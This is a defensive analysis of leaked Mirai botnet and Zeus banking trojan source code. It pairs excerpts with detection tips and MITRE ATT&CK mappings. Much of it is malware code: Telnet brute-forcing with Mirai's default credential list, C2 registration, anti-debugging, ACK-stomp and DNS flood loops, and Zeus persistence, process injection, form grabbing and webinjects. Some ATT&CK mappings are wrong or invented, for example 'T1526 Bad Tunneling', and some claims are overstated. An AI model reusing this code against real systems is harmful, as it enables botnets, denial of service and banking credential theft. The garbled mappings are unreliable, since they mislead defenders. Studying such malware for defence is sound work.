Offensive-Informed Defensive Analysis

Mirai Botnet & Zeus Banking Trojan

Source Code Analysis for Cybersecurity Defense

EDUCATIONAL RESEARCH

Analysis Date: 2026-06-14

Sources: jgamblin/Mirai-Source-Code (2016) | zeustrojancode/Zeus (2011)

Classification: Defensive Threat Intelligence

Table of Contents

Part 1: Mirai Botnet Source Code Analysis

Source: jgamblin/Mirai-Source-Code (Leaked 2016) | Language: C/Go | Target: Linux IoT Devices

1.1 killer.c - Malware Territory Defense

What the code does: `killer_init()` forks a child process that runs an infinite loop scanning `/proc/` for competing malware. This is not about killing the victim's services - it is about defending the infection from other botnets.

Offensive Technique: Process Elimination via /proc Inspection

> **Key Code Pattern**
>
> The killer forks a daemon, kills telnetd/ssh/httpd, rebinds their ports, then loops infinitely over `/proc/$pid/exe` symlinks to find and kill competing malware by binary path and memory signatures.

```
void killer_init(void)
{
    killer_pid = fork();  // Daemonize

    // Kill telnet and rebind port 23
    killer_kill_by_port(htons(23));
    bind(tmp_bind_fd, &tmp_bind_addr, ...);
    listen(tmp_bind_fd, 1);  // Prevent telnetd restart

    while (TRUE) {
        dir = opendir("/proc");
        while ((file = readdir(dir)) != NULL) {
            if (*(file->d_name) < '0' || *(file->d_name) > '9') continue;

            readlink(exe_path, realpath, ...);

            // Kill competitors by binary name
            if (util_stristr(realpath, rp_len-1, ".anime") != -1) {
                unlink(realpath);
                kill(pid, 9);
            }

            // Memory scan for known competitor signatures
            if (memory_scan_match(exe_path)) {
                kill(pid, 9);
            }
        }
    }
}
```

How killer_kill_by_port() Works

This is a Linux-native technique requiring no rootkit:

1. Opens `/proc/net/tcp` to find which process owns the target port
2. Parses the hex-encoded local address (e.g., `00000000:0017` = port 23)
3. Extracts the inode number from the socket entry
4. Walks `/proc/$pid/fd/` to find which process has that socket open
5. Sends SIGKILL to the owning process

Defensive Implications

Detection Opportunity	Why It Works
Port 23/22 binding by non-system processes	Mirai binds to port 23 to block telnetd restart. On IoT, legitimate telnetd should be the only listener on 23.
Rapid /proc directory iteration	The killer loop iterates all PIDs every ~60 seconds. Monitoring for processes that read hundreds of /proc/$pid/exe symlinks in short bursts is effective.
Deleted binaries still running	If open(realpath, O_RDONLY) fails but the process exists, the binary was deleted from disk - a common anti-forensics technique.
Memory signature scanning	Mirai scans process memory for strings like QBOT, UPX, ZOLLARD. EDR memory scanning can detect these reads of foreign process memory.

> **Defensive Controls**
>
> - **Network-based**: Block outbound Telnet (TCP/23) from IoT VLANs - prevents scanner from reaching loader callback
> - **Host-based**: Run netstat audits on IoT; non-telnetd processes binding port 23 = infection
> - **Behavioral**: Monitor for processes reading /proc/*/exe at scale - no legitimate IoT service does this

1.2 scanner.c - The Propagation Engine

What the code does: Mirai's scanner is a highly optimized, state-machine-driven Telnet brute-forcer using raw sockets for SYN scanning and maintaining up to 256 concurrent Telnet negotiation sessions.

Offensive Technique: Raw Socket SYN Scanning

```
void scanner_init(void)
{
    rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    setsockopt(rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i));

    // Build probe packet template
    iph->protocol = IPPROTO_TCP;
    tcph->dest = htons(23);   // Telnet
    tcph->syn = TRUE;          // SYN flag only

    // 61 default credential pairs with weighted selection
    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root:xc3511
    add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);     // root:vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);     // root:admin
    // ... 58 more entries
}
```

The credentials are XOR-obfuscated with constant `0xDEADBEEF` - trivially reversible since XORing a byte with itself yields zero.

The State Machine for Telnet Infection

```
switch (conn->state) {
    case SC_HANDLE_IACS:
        consume_iacs(conn);  // Telnet WILL/WONT/DO/DONT
        conn->state = SC_WAITING_USERNAME;
    case SC_WAITING_USERNAME:
        if (consume_user_prompt(conn) > 0) {
            send(conn->fd, conn->auth->username, ...);
            conn->state = SC_WAITING_PASSWORD;
        }
    case SC_WAITING_PASSWORD:
        send(conn->fd, conn->auth->password, ...);
        conn->state = SC_WAITING_PASSWD_RESP;
    case SC_WAITING_PASSWD_RESP:
        if (consume_any_prompt(conn) > 0) {
            // Send: enable -> system -> shell -> sh
            report_working(conn->dst_addr, conn->dst_port, conn->auth);
        }
}
```

IP Range Exclusions (Hardcoded Avoidance)

```
do {
    tmp = rand_next();  o1 = tmp & 0xff;
} while (
    o1 == 127 ||                    // Loopback
    o1 == 10 ||                     // RFC1918
    (o1 == 192 && o2 == 168) ||     // RFC1918
    (o1 == 172 && o2 >= 16 && o2 < 32) ||
    (o1 == 100 && o2 >= 64 && o2 < 127) || // CGNAT
    (o1 == 169 && o2 > 254) ||      // Link-local
    o1 >= 224                       // Multicast
);
```

Mirai avoids scanning RFC1918 ranges - it won't scan your internal network from the internet, but will scan anything reachable on port 23.

Defensive Implications

Detection Opportunity	Implementation
SYN packets to port 2323	Mirai alternates between port 23 and 2323 (every 10th packet)
TCP SYN without follow-up ACK	Raw socket SYN scans send SYNs but never complete handshakes
Telnet brute-force patterns	The state machine always sends \r\n, then tries enable, system, shell, sh
Rapid failed logins	~10 credential combos per target before moving on

> **Defensive Controls**
>
> - **Immediate**: Change default credentials on ALL IoT devices. Mirai has zero exploit capability - strong unique passwords = 100% immunity.
> - **Network**: Block TCP/23 and TCP/2323 at network edge for IoT VLANs
> - **Honeypots**: Deploy Cowrie (Telnet honeypot) with Mirai's credential list
> - **Active defense**: Sinkhole the loader callback domain to intercept reports

1.3 main.c - C2 Communication Protocol

Offensive Technique: Binary C2 Protocol

```
static void establish_connection(void)
{
    fd_serv = socket(AF_INET, SOCK_STREAM, 0);
    fcntl(fd_serv, F_SETFL, O_NONBLOCK);
    resolve_cnc_addr();
    connect(fd_serv, &srv_addr, ...);
}
```

Bot registration on successful connection:

```
send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL);  // Protocol version
send(fd_serv, &id_len, sizeof(id_len), MSG_NOSIGNAL);   // ID length
send(fd_serv, id_buf, id_len, MSG_NOSIGNAL);             // Bot ID
```

Keepalive: `send(fd_serv, &len, sizeof(len), MSG_NOSIGNAL)` every 60 seconds (zero-length = ping).

The Anti-GDB Trick

```
static void anti_gdb_entry(int sig) {
    resolve_func = resolve_cnc_addr;  // Only resolves if SIGTRAP fires
}
signal(SIGTRAP, &anti_gdb_entry);
if (unlock_tbl_if_nodebug(args[0]))
    raise(SIGTRAP);  // Fire trap - if GDB intercepts, bot fails to connect
```

Single-Instance Enforcement

```
void ensure_single_instance(void) {
    fd_ctrl = socket(AF_INET, SOCK_STREAM, 0);
    addr.sin_port = htons(SINGLE_INSTANCE_PORT);  // Default 48101
    if (bind(fd_ctrl, &addr, ...) == -1) {
        // Another instance exists - request suicide
        connect(fd_ctrl, &addr, ...);
        killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));
        ensure_single_instance();  // Try again
    }
}
```

Defensive Controls

- **DNS sinkholing**: Reverse the XOR table to extract C2 domain, then sinkhole
- **Netflow beaconing**: Mirai C2 beacons at very regular 60s intervals - statistical timing analysis works regardless of payload encryption
- **Port scanning**: Include TCP/48101 in internal vulnerability scans - reliable infection indicator

1.4 Attack Vectors - From Source to Signature

Attack Method Registration (attack.c)

ID	Name	Function
0	UDP	attack_udp_generic
1	VSE	attack_udp_vse (Valve Source Engine)
2	DNS	attack_udp_dns (Water Torture)
3	SYN	attack_tcp_syn
4	ACK	attack_tcp_ack
5	STOMP	attack_tcp_stomp (Handshake Bypass)
6	GREIP	attack_gre_ip
7	GREETH	attack_gre_eth
9	UDP_PLAIN	attack_udp_plain
10	HTTP	attack_app_http

TCP ACK Stomp - The Evasion Technique

How ACK Stomp Bypasses Mitigation

Phase 1: Complete a real TCP handshake (SYN -> SYN+ACK -> ACK). Phase 2: Capture the SEQ/ACK numbers. Phase 3: Send ACK packets with valid sequence numbers from the established connection. Stateful firewalls see legitimate ACKs - SYN flood counters never trigger.

```
// Phase 1: Real handshake
connect(fd, &addr, sizeof(addr));

// Phase 2: Sniff SEQ/ACK
recvfrom(rfd, pktbuf, sizeof(pktbuf), ...);
stomp_data.seq = ntohl(tcph->seq);
stomp_data.ack_seq = ntohl(tcph->ack_seq);

// Phase 3: Flood with valid sequence numbers
while (TRUE) {
    tcph->seq = htons(stomp_data.seq++);
    tcph->ack_seq = htons(stomp_data.ack_seq);
    sendto(rfd, pkt, ..., &targs[i].sock_addr, ...);
}
```

DNS Water Torture

```
dns_resolver = get_dns_resolver();  // Parse /etc/resolv.conf
dnsh->opts = htons(1 << 8);         // Recursion desired
rand_alphastr(qrand, data_len);     // Random subdomain
// Send to victim's own resolver with spoofed source IP
```

Uses the target's own DNS resolver as amplification. Random subdomains bypass caching.

Network Signatures Summary

Attack Vector	Network Signature
SYN flood	Outbound SYN with TCP options MSS=1400+, SACK, TS, WSS=6
ACK stomp	High-volume ACK with incrementing SEQ from single source
DNS torture	DNS queries to external resolvers with random 12-byte subdomains
GRE flood	Protocol 47 (GRE) packets - most networks don't use GRE
UDP plain	Connected UDP sockets sending fixed-size random data

Part 2: Zeus Banking Trojan Source Code Analysis

Source: zeustrojancode/Zeus (Leaked 2011) | Language: C++ | Target: Windows Banking

2.1 coreinstall.cpp - Persistence Engine

Offensive Technique: OS-Fingerprinted Installation

```
bool CoreInstall::_install(const LPWSTR pathHome, LPWSTR coreFile)
{
    generateBasicFile(pathHome, pathCoreFile, L".exe", false);
    MalwareTools::_getOsGuid(&pes.guid);      // Fingerprint the OS
    Core::_generateBotId(pes.compId);          // Unique bot ID
    savePeFile(&pes, pathCoreFile, false);     // Config stored in PE overlay
    _installToAll();                            // ALL user Startup folders
}
```

The PE overlay contains: OS GUID (prevents running on different Windows install), Bot ID, RC4 key, randomly generated registry names, and process infection ID.

Startup Folder Infection for All Users

```
NetUserEnum(NULL, 0, FILTER_NORMAL_ACCOUNT, (LPBYTE *)&buf0, ...);
for (DWORD i = 0; i < readed; i++) {
    OsEnv::_getUserProfileDirectoryBySid(buf23->usri23_user_sid, profileDir);
    // Copy to C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
    savePeFile(NULL, fileName, false);
    tryToRunForActiveSessions(buf23->usri23_user_sid, fileName);
}
```

> **Detection Opportunities**
>
> - PE files with appended overlay data (check with pecheck.py or pestudio)
> - Same binary in multiple user Startup folders
> - WTSQueryUserToken usage by non-system processes
> - NetUserEnum calls from non-administrative tools
> - Registry values with random names under a single key

2.2 corehook.cpp - The Hooking Engine

Offensive Technique: Kernel-API Hooking

```
// Hooked functions in ntdll.dll:
NTSTATUS NTAPI hookerNtCreateThread(..., PCONTEXT threadContext, ...)
{
    threadContext->Eax = entry;  // Redirect thread entry point
    return real_NtCreateThread(...);
}

NTSTATUS NTAPI hookerNtCreateUserProcess(...)
{
    void *image = Core::initNewModule(*processHandle, mutexOfProcess, flags);
    GetThreadContext(*threadHandle, &context);
    context.Eax = entry;  // New entry point = our code
    SetThreadContext(*threadHandle, &context);
    return real_NtCreateUserProcess(...);
}
```

DLL Load Interception (Firefox NSPR4)

```
NTSTATUS NTAPI hookerLdrLoadDll(PWCHAR path, ULONG flags,
                                PUNICODE_STRING moduleName, PHANDLE hModule)
{
    status = real_LdrLoadDll(path, flags, moduleName, hModule);
    if (moduleFileName && wcsstr(moduleFileName->Buffer, L"nspr4.dll")) {
        WinApiTables::_trySetNspr4HooksEx(moduleName->Buffer, (HMODULE)*hModule);
        markNspr4AsHooked();
    }
    return status;
}
```

> **Critical Insight**
>
> Zeus doesn't just hook WinInet (IE). It **dynamically detects when Firefox loads nspr4.dll** (the Netscape Portable Runtime handling all Firefox networking) and immediately installs hooks on PR_Read and PR_Write to intercept traffic before SSL/TLS encryption.

2.3 coreinject.cpp - Process Injection

Offensive Technique: Cross-Process Injection

```
static bool injectMalwareToProcess(DWORD pid, HANDLE processMutex, DWORD flags)
{
    HANDLE process = OpenProcess(
        PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION |
        PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_CREATE_THREAD |
        PROCESS_DUP_HANDLE, FALSE, pid);

    void *newImage = Core::initNewModule(process, processMutex, flags);

    LPTHREAD_START_ROUTINE proc = (LPTHREAD_START_ROUTINE)(
        (LPBYTE)newImage +
        (DWORD_PTR)((LPBYTE)Core::_injectEntryForThreadEntry -
                    (LPBYTE)coreData.modules.current));

    HANDLE thread = CreateRemoteThread(process, NULL, 0, proc, NULL, 0, NULL);
    WaitForSingleObject(thread, 10 * 1000);
}
```

Mass Injection Logic

```
bool CoreInject::_injectToAll(void)
{
    do {
        HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        Process32FirstW(snap, &pe);
        do {
            if (pe.th32ProcessID == coreData.pid) continue;
            HANDLE mutex = Core::createMutexOfProcess(pe.th32ProcessID);
            if (mutex == NULL) continue;  // Already infected

            TOKEN_USER *tu = Process::_getUserByProcessId(pe.th32ProcessID, &sessionId);
            if (sessionId == coreData.currentUser.sessionId &&
                EqualSid(tu->User.Sid, coreData.currentUser.token->User.Sid)) {
                injectMalwareToProcess(pe.th32ProcessID, mutex, 0);
            }
        } while (Process32NextW(snap, &pe));
    } while (newProcesses != 0);
}
```

> **Detection Opportunities**
>
> - **CreateRemoteThread** into browser processes - the single most reliable injection indicator
> - **OpenProcess** with VM_WRITE + CREATE_THREAD combination
> - **Named mutex creation** per PID (Global\<pid> patterns)
> - **Repeated process snapshot loops** - continuous CreateToolhelp32Snapshot calls
> - **VirtualAllocEx** targeting browser processes

2.4 Browser Interception - Below the Encryption Layer

Internet Explorer / WinInet Hooks (wininethook.cpp)

Zeus hooks WinInet API functions:

```
BOOL WINAPI hookerHttpSendRequestA(HINTERNET request, LPSTR headers,
    DWORD headersLength, LPVOID optional, DWORD optionalLength);
BOOL WINAPI hookerInternetReadFile(HINTERNET handle, LPVOID buffer,
    DWORD bytesToRead, LPDWORD bytesRead);
```

How Form Grabbing Works

```
static int onHttpSendRequest(HINTERNET request, void **postData, LPDWORD postDataSize)
{
    requestData->url = queryUrl(request);
    requestData->referer = queryReferer(request);
    requestData->verb = detectVerb(request);     // GET or POST
    requestData->postData = *postData;            // POST body (credentials!)

    userName = queryOption(request, INTERNET_OPTION_USERNAME);
    password = queryOption(request, INTERNET_OPTION_PASSWORD);

    DWORD result = HttpGrabber::analizeRequestData(&requestData);
    if (result & ANALIZEFLAG_URL_MATCH) {
        Report::writeLog(BLT_HTTP_REQUEST, &requestData);  // Exfiltrate!
    }
}
```

The Webinject System

When InternetReadFile is called, Zeus modifies the HTML before the browser sees it:

```
static int onInternetReadFile(HINTERNET *request, void *buffer, ...)
{
    readAllContext(*request, readEvent, &contextBuffer, &contextSize);
    url = queryOption(*request, INTERNET_OPTION_URL);

    // Modify page content BEFORE browser renders it
    if (HttpGrabber::_executeInjects(url, &contextBuffer, &contextSize,
                                     wc->injects, wc->injectsCount)) {
        // Save modified content to browser cache
        cacheEntry = GetUrlCacheEntryInfo(url);
        Fs::_saveToFile(cacheEntry->lpszLocalFileName, contextBuffer, contextSize);
    }
    copyToBuffer(buffer, wc->context + wc->contentPos, maxSize);
}
```

Firefox NSPR4 Hooks (nspr4hook.cpp)

```
__int32 __cdecl Nspr4Hook::hookerPrWrite(void *fd, const void *buf, __int32 amount)
{
    DWORD bytesToSkip = fillRequestData(&requestData, fd, buf, amount);

    if (requestData.verb == VERB_POST && isTargetUrl(requestData.url)) {
        Report::writeLog(BLT_HTTP_REQUEST, &requestData);  // Capture credentials
    }
    return prWrite(fd, buf, amount);  // Data goes to SSL layer
}
```

> **Why This Defeats HTTPS**
>
> NSPR4's PR_Write is called **before** data reaches the NSS encryption layer. Zeus sees raw HTTP requests with all form data in plaintext. SSL certificates, HSTS, and browser security indicators remain valid. The user has no visual indication of compromise.

Defensive Controls

- **Dedicated banking device**: Separate physical device never used for email/web browsing
- **Hardware 2FA (FIDO2/U2F)**: Zeus can defeat SMS 2FA by injecting forms. Hardware keys communicate directly with the bank's server over a cryptographically secure channel Zeus cannot intercept.
- **Browser isolation**: Run browser in sandbox/container where Zeus cannot inject (different SID = injection blocked)
- **IAT integrity monitoring**: Compare in-memory API addresses with disk. Hooked functions point to different addresses.

Part 3: MITRE ATT&CK Mapping & Defensive Controls

Comprehensive technique mapping and defensive control recommendations

Mirai Techniques

Source Finding	MITRE ID	Technique Name	Defensive Control
killer.c port rebinding	T1490	Inhibit System Recovery	Monitor for non-telnetd binding TCP/23
killer.c memory scanning	T1057	Process Discovery	EDR memory access monitoring
scanner.c credential brute-force	T1110	Brute Force	Network segmentation; unique passwords
scanner.c raw SYN scanning	T1046	Network Service Scanning	Netflow anomaly detection
main.c anti-GDB SIGTRAP	T1497.001	Sandbox Evasion	Sandbox anti-evasion
main.c C2 binary protocol	T1071.001	Application Layer Protocol	Protocol anomaly detection
main.c single-instance port	T1205	Traffic Signaling	Port scan for 48101
attack_tcp.c SYN flood	T1498.001	Network DoS: Direct Flood	SYN cookies; rate limiting
attack_tcp.c ACK stomp	T1498.001	Network DoS: Direct Flood	Stateful connection tracking
attack_udp.c DNS torture	T1498.002	Reflection Amplification	DNS resolver hardening; RRL
attack_gre.c GRE flood	T1526	Bad Tunneling	Block protocol 47 (GRE)

Zeus Techniques

Source Finding	MITRE ID	Technique Name	Defensive Control
coreinstall.cpp PE overlay	T1027.002	Obfuscated Files: Packing	PE overlay analysis
coreinstall.cpp Startup folders	T1547.001	Boot/Logon Autostart	Startup folder monitoring
corehook.cpp NtCreateThread hook	T1055.011	Extra Window Memory Injection	IAT integrity monitoring
corehook.cpp LdrLoadDll hook	T1056.004	Credential API Hooking	CFG enforcement
coreinject.cpp CreateRemoteThread	T1055.003	Thread Execution Hijacking	EDR alerts
coreinject.cpp same-SID injection	T1055	Process Injection	Browser isolation (different SIDs)
wininethook.cpp form capture	T1056.001	Keylogging	App-level form encryption
wininethook.cpp webinject system	T1557.002	Man-in-the-Browser	Hardware 2FA
nspr4hook.cpp PR_Read/Write hook	T1557.002	Man-in-the-Browser	Firefox integrity verification
nspr4hook.cpp pre-SSL interception	T1557	Man-in-the-Middle	Outbound SSL inspection

Summary: Offensive Knowledge for Defense

From Mirai

1. **Mirai has zero exploits** - it relies entirely on default credentials. 100% of infections are preventable with password hygiene.
2. **The scanner avoids RFC1918** - it won't scan your internal network from the internet, but scans anything on port 23.
3. **The C2 protocol is trivial** - binary, unencrypted, beacon-based. Netflow timing analysis detects it.
4. **ACK stomp is the evasion** - completes real handshakes before flooding, bypassing SYN-only mitigations.

From Zeus

1. **Zeus operates below SSL** - hooks PR_Read/PR_Write in Firefox and InternetReadFile in IE. The lock icon means nothing.

2. **Process injection is the enabler** - forcibly injects into every same-SID process. Browser isolation by user account is effective.
3. **Webinjects are dynamic** - configuration downloaded from C2 in real-time. Static signatures are insufficient.
4. **Hardware 2FA defeats Zeus** - FIDO2 keys authenticate directly with the server; no credential exists for Zeus to intercept.

Educational Research Notice: This analysis was performed on publicly available source code for educational and defensive research purposes. Both Mirai and Zeus source code have been publicly available for 9+ and 14+ years respectively and are widely studied in academic cybersecurity programs.